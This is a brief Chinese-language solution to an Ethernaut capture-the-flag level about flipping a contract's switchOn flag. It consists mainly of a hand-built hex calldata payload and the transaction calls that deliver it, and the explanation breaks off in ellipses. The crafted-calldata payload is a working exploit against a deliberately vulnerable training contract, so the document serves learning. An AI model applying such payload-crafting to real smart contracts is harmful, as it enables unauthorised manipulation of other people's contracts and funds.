Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。
将合约中的 switchOn 改为 true
这道题 难度比较高,需要构建非常特殊的 CALLDATA 。
const attack = '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000'
await sendTransaction({from: player, to: contract.address, data: attack})
await contract.switchOn();
…
…
….

